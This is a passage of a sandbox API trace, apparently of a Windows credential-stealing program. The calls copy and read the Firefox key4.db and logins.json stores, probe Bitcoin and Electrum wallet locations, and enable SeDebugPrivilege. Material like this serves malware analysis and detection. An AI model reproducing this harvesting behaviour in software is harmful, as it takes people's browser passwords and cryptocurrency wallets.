(lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\logins.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\logins.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0190.493] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key4.db", nBufferLength=0x105, lpBuffer=0x12febe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key4.db", lpFilePart=0x0) returned 0x51 [0190.493] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_59.0912452+02_0011", nBufferLength=0x105, lpBuffer=0x12febe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_59.0912452+02_0011", lpFilePart=0x0) returned 0x52 [0190.493] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key4.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\key4.db"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_59.0912452+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_55_59.0912452+02_0011"), bFailIfExists=0) returned 1 [0190.936] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_59.0912452+02_0011", nBufferLength=0x105, lpBuffer=0x12febf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_59.0912452+02_0011", lpFilePart=0x0) returned 0x52 [0190.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0a4) returned 1 [0190.936] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_59.0912452+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_55_59.0912452+02_0011"), fInfoLevelId=0x0, lpFileInformation=0x12ff120 | out: lpFileInformation=0x12ff120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24baedc4, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x24baedc4, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x77a6c480, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x48000)) returned 1 [0190.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0a0) returned 1 [0190.936] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_59.0912452+02_0011", nBufferLength=0x105, lpBuffer=0x12febb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_59.0912452+02_0011", lpFilePart=0x0) returned 0x52 [0190.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff064) returned 1 [0190.936] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_59.0912452+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_55_59.0912452+02_0011"), fInfoLevelId=0x0, lpFileInformation=0x12ff0e0 | out: lpFileInformation=0x12ff0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24baedc4, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x24baedc4, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x77a6c480, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x48000)) returned 1 [0190.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff060) returned 1 [0190.936] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_59.0912452+02_0011", nBufferLength=0x105, lpBuffer=0x12feb44, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_59.0912452+02_0011", lpFilePart=0x0) returned 0x52 [0190.936] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_59.0912452+02_0011", nBufferLength=0x105, lpBuffer=0x12feb24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_59.0912452+02_0011", lpFilePart=0x0) returned 0x52 [0190.936] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_59.0912452+02_0011", nBufferLength=0x105, lpBuffer=0x12feb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_59.0912452+02_0011", lpFilePart=0x0) returned 0x52 [0190.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefb4) returned 1 [0190.936] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_59.0912452+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_55_59.0912452+02_0011"), fInfoLevelId=0x0, lpFileInformation=0x12ff030 | out: lpFileInformation=0x12ff030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24baedc4, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x24baedc4, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x77a6c480, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x48000)) returned 1 [0190.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb0) returned 1 [0190.937] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_59.0912452+02_0011", nBufferLength=0x105, lpBuffer=0x12fea18, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_59.0912452+02_0011", lpFilePart=0x0) returned 0x52 [0190.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef5c) returned 1 [0190.937] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_59.0912452+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_55_59.0912452+02_0011"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4e4 [0190.937] GetFileType (hFile=0x4e4) returned 0x1 [0190.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef58) returned 1 [0190.937] GetFileType (hFile=0x4e4) returned 0x1 [0190.937] GetFileSize (in: hFile=0x4e4, lpFileSizeHigh=0x12ff110 | out: lpFileSizeHigh=0x12ff110*=0x0) returned 0x48000 [0190.948] ReadFile (in: hFile=0x4e4, lpBuffer=0x4219908, nNumberOfBytesToRead=0x48000, lpNumberOfBytesRead=0x12ff02c, lpOverlapped=0x0 | out: lpBuffer=0x4219908*, lpNumberOfBytesRead=0x12ff02c*=0x48000, lpOverlapped=0x0) returned 1 [0190.964] CloseHandle (hObject=0x4e4) returned 1 [0191.020] VarDecCmp (pdecLeft=0x12ff14c, pdecRight=0x12ff13c) returned 0x2 [0191.020] VarDecRound (in: pdecIn=0x12fea78, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.020] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.020] VarDecRound (in: pdecIn=0x12fea78, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.020] VarDecCmp (pdecLeft=0x12feaf0, pdecRight=0x12feae0) returned 0x1 [0191.020] VarDecRound (in: pdecIn=0x12fea78, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.020] VarDecRound (in: pdecIn=0x12fea78, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.020] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.020] VarDecCmp (pdecLeft=0x12ff0d4, pdecRight=0x12feaf0) returned 0x1 [0191.020] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.020] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.020] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.020] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.020] VarDecRound (in: pdecIn=0x12fea78, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.020] VarDecCmp (pdecLeft=0x12feaf0, pdecRight=0x12feae0) returned 0x1 [0191.020] VarDecRound (in: pdecIn=0x12fea78, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.020] VarDecRound (in: pdecIn=0x12fea78, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.020] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.020] VarDecCmp (pdecLeft=0x12ff0d4, pdecRight=0x12feaf0) returned 0x1 [0191.020] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.020] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.020] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.020] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.020] VarDecRound (in: pdecIn=0x12fea78, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.020] VarDecCmp (pdecLeft=0x12feaf0, pdecRight=0x12feae0) returned 0x1 [0191.020] VarDecRound (in: pdecIn=0x12fea78, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.020] VarDecRound (in: pdecIn=0x12fea78, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.020] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.020] VarDecCmp (pdecLeft=0x12ff0d4, pdecRight=0x12feaf0) returned 0x1 [0191.020] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.020] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.020] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.020] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.021] VarDecRound (in: pdecIn=0x12fea78, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.021] VarDecCmp (pdecLeft=0x12feaf0, pdecRight=0x12feae0) returned 0x1 [0191.021] VarDecRound (in: pdecIn=0x12fea78, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.021] VarDecRound (in: pdecIn=0x12fea78, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.021] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.021] VarDecCmp (pdecLeft=0x12ff0d4, pdecRight=0x12feaf0) returned 0x1 [0191.021] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.021] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.021] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.021] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.021] VarDecRound (in: pdecIn=0x12fea78, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.021] VarDecCmp (pdecLeft=0x12feaf0, pdecRight=0x12feae0) returned 0x1 [0191.021] VarDecRound (in: pdecIn=0x12fea78, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.021] VarDecRound (in: pdecIn=0x12fea78, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.021] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.021] VarDecCmp (pdecLeft=0x12ff0d4, pdecRight=0x12feaf0) returned 0x1 [0191.021] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.021] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.021] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.021] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.021] VarDecRound (in: pdecIn=0x12fea78, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.021] VarDecCmp (pdecLeft=0x12feaf0, pdecRight=0x12feae0) returned 0x1 [0191.021] VarDecRound (in: pdecIn=0x12fea78, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.021] VarDecRound (in: pdecIn=0x12fea78, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.021] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.021] VarDecCmp (pdecLeft=0x12ff0d4, pdecRight=0x12feaf0) returned 0x1 [0191.021] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.021] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.021] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.021] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.021] VarDecRound (in: pdecIn=0x12fea78, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.021] VarDecCmp (pdecLeft=0x12feaf0, pdecRight=0x12feae0) returned 0x1 [0191.021] VarDecRound (in: pdecIn=0x12fea78, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.021] VarDecRound (in: pdecIn=0x12fea78, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.021] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.021] VarDecCmp (pdecLeft=0x12ff0d4, pdecRight=0x12feaf0) returned 0x1 [0191.021] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.021] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.021] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.021] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.021] VarDecRound (in: pdecIn=0x12fea78, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.022] VarDecCmp (pdecLeft=0x12feaf0, pdecRight=0x12feae0) returned 0x1 [0191.022] VarDecRound (in: pdecIn=0x12fea78, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.022] VarDecRound (in: pdecIn=0x12fea78, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.022] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12fea88 | out: pdecResult=0x12fea88) returned 0x0 [0191.022] VarDecCmp (pdecLeft=0x12ff0d4, pdecRight=0x12feaf0) returned 0x1 [0191.022] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.022] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.022] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.022] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0191.022] VarDecRound (in: pdecIn=0x12feae8, cDecimals=0, pdecResult=0x12feaf8 | out: pdecResult=0x12feaf8) returned 0x0 [0191.022] VarDecRound (in: pdecIn=0x12feae8, cDecimals=0, pdecResult=0x12feaf8 | out: pdecResult=0x12feaf8) returned 0x0 [0191.022] VarDecRound (in: pdecIn=0x12feae8, cDecimals=0, pdecResult=0x12feaf8 | out: pdecResult=0x12feaf8) returned 0x0 [0191.022] VarDecCmp (pdecLeft=0x12feb30, pdecRight=0x12feb20) returned 0x2 [0191.022] VarDecRound (in: pdecIn=0x12feae8, cDecimals=0, pdecResult=0x12feaf8 | out: pdecResult=0x12feaf8) returned 0x0 [0191.022] VarDecRound (in: pdecIn=0x12feae8, cDecimals=0, pdecResult=0x12feaf8 | out: pdecResult=0x12feaf8) returned 0x0 [0191.022] VarDecRound (in: pdecIn=0x12feb10, cDecimals=0, pdecResult=0x12feaf0 | out: pdecResult=0x12feaf0) returned 0x0 [0191.022] VarDecRound (in: pdecIn=0x12feb10, cDecimals=0, pdecResult=0x12feaf0 | out: pdecResult=0x12feaf0) returned 0x0 [0191.022] VarDecRound (in: pdecIn=0x12feae8, cDecimals=0, pdecResult=0x12feaf8 | out: pdecResult=0x12feaf8) returned 0x0 [0191.022] VarDecCmp (pdecLeft=0x12feb30, pdecRight=0x12feb20) returned 0x1 [0191.023] VarDecRound (in: pdecIn=0x12feae8, cDecimals=0, pdecResult=0x12feaf8 | out: pdecResult=0x12feaf8) returned 0x0 [0191.023] VarDecCmp (pdecLeft=0x12feb30, pdecRight=0x12feb20) returned 0x1 [0191.023] VarDecRound (in: pdecIn=0x12feae8, cDecimals=0, pdecResult=0x12feaf8 | out: pdecResult=0x12feaf8) returned 0x0 [0191.047] VarDecRound (in: pdecIn=0x12feae8, cDecimals=0, pdecResult=0x12feaf8 | out: pdecResult=0x12feaf8) returned 0x0 [0191.047] VarDecRound (in: pdecIn=0x12feae8, cDecimals=0, pdecResult=0x12feaf8 | out: pdecResult=0x12feaf8) returned 0x0 [0191.051] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\logins.json", nBufferLength=0x105, lpBuffer=0x12feb94, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\logins.json", lpFilePart=0x0) returned 0x55 [0191.051] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_59.6536966+02_0011", nBufferLength=0x105, lpBuffer=0x12feb94, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_59.6536966+02_0011", lpFilePart=0x0) returned 0x52 [0191.051] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\logins.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\logins.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_59.6536966+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_55_59.6536966+02_0011"), bFailIfExists=0) returned 0 [0191.052] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\logins.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\logins.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0191.122] CoTaskMemAlloc (cb=0x20c) returned 0x13a2d50 [0191.122] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x13a2d50 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0191.123] CoTaskMemFree (pv=0x13a2d50) [0191.123] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x12febf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming", lpFilePart=0x0) returned 0x1f [0191.123] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Bitcoin\\wallet.dat", nBufferLength=0x105, lpBuffer=0x12fec88, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Bitcoin\\wallet.dat", lpFilePart=0x0) returned 0x32 [0191.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff13c) returned 1 [0191.123] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Bitcoin\\wallet.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\bitcoin\\wallet.dat"), fInfoLevelId=0x0, lpFileInformation=0x12ff1b8 | out: lpFileInformation=0x12ff1b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0191.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff138) returned 1 [0191.124] CoTaskMemAlloc (cb=0x20c) returned 0x13a2d50 [0191.124] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x13a2d50 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0191.124] CoTaskMemFree (pv=0x13a2d50) [0191.124] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x12febf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming", lpFilePart=0x0) returned 0x1f [0191.124] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Electrum\\wallets", nBufferLength=0x105, lpBuffer=0x12fec80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Electrum\\wallets", lpFilePart=0x0) returned 0x30 [0191.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff130) returned 1 [0191.124] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Electrum\\wallets" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\electrum\\wallets"), fInfoLevelId=0x0, lpFileInformation=0x12ff1ac | out: lpFileInformation=0x12ff1ac*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0191.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff12c) returned 1 [0191.345] GetCurrentProcessId () returned 0xd0c [0191.377] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x12fea5c | out: lpLuid=0x12fea5c*(LowPart=0x14, HighPart=0)) returned 1 [0191.419] GetCurrentProcess () returned 0xffffffff [0191.420] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12fea58 | out: TokenHandle=0x12fea58*=0x4e4) returned 1 [0191.420] AdjustTokenPrivileges (in: TokenHandle=0x4e4, DisableAllPrivileges=0, NewState=0x31a70a4*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0191.420] CloseHandle (hObject=0x4e4) returned 1 [0191.421] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xd0c) returned 0x4e4 [0191.421] GetExitCodeProcess (in: hProcess=0x4e4, lpExitCode=0x31a7030 | out: lpExitCode=0x31a7030*=0x103) returned 1 [0191.428] IsWow64Process (in: hProcess=0x4e4, Wow64Process=0x12ff1d8 | out: Wow64Process=0x12ff1d8) returned 1 [0192.191] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x50c [0192.194] CoGetObjectContext (in: riid=0x31a7190*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12ff114 | out: ppv=0x12ff114*=0x135504c) returned 0x0 [0192.202] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x12fe33c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0192.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll", cchWideChar=63, lpMultiByteStr=0x12fe890, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll\x03²3cn\x18Ô\x96àðùos\x9cë/\x01\x01", 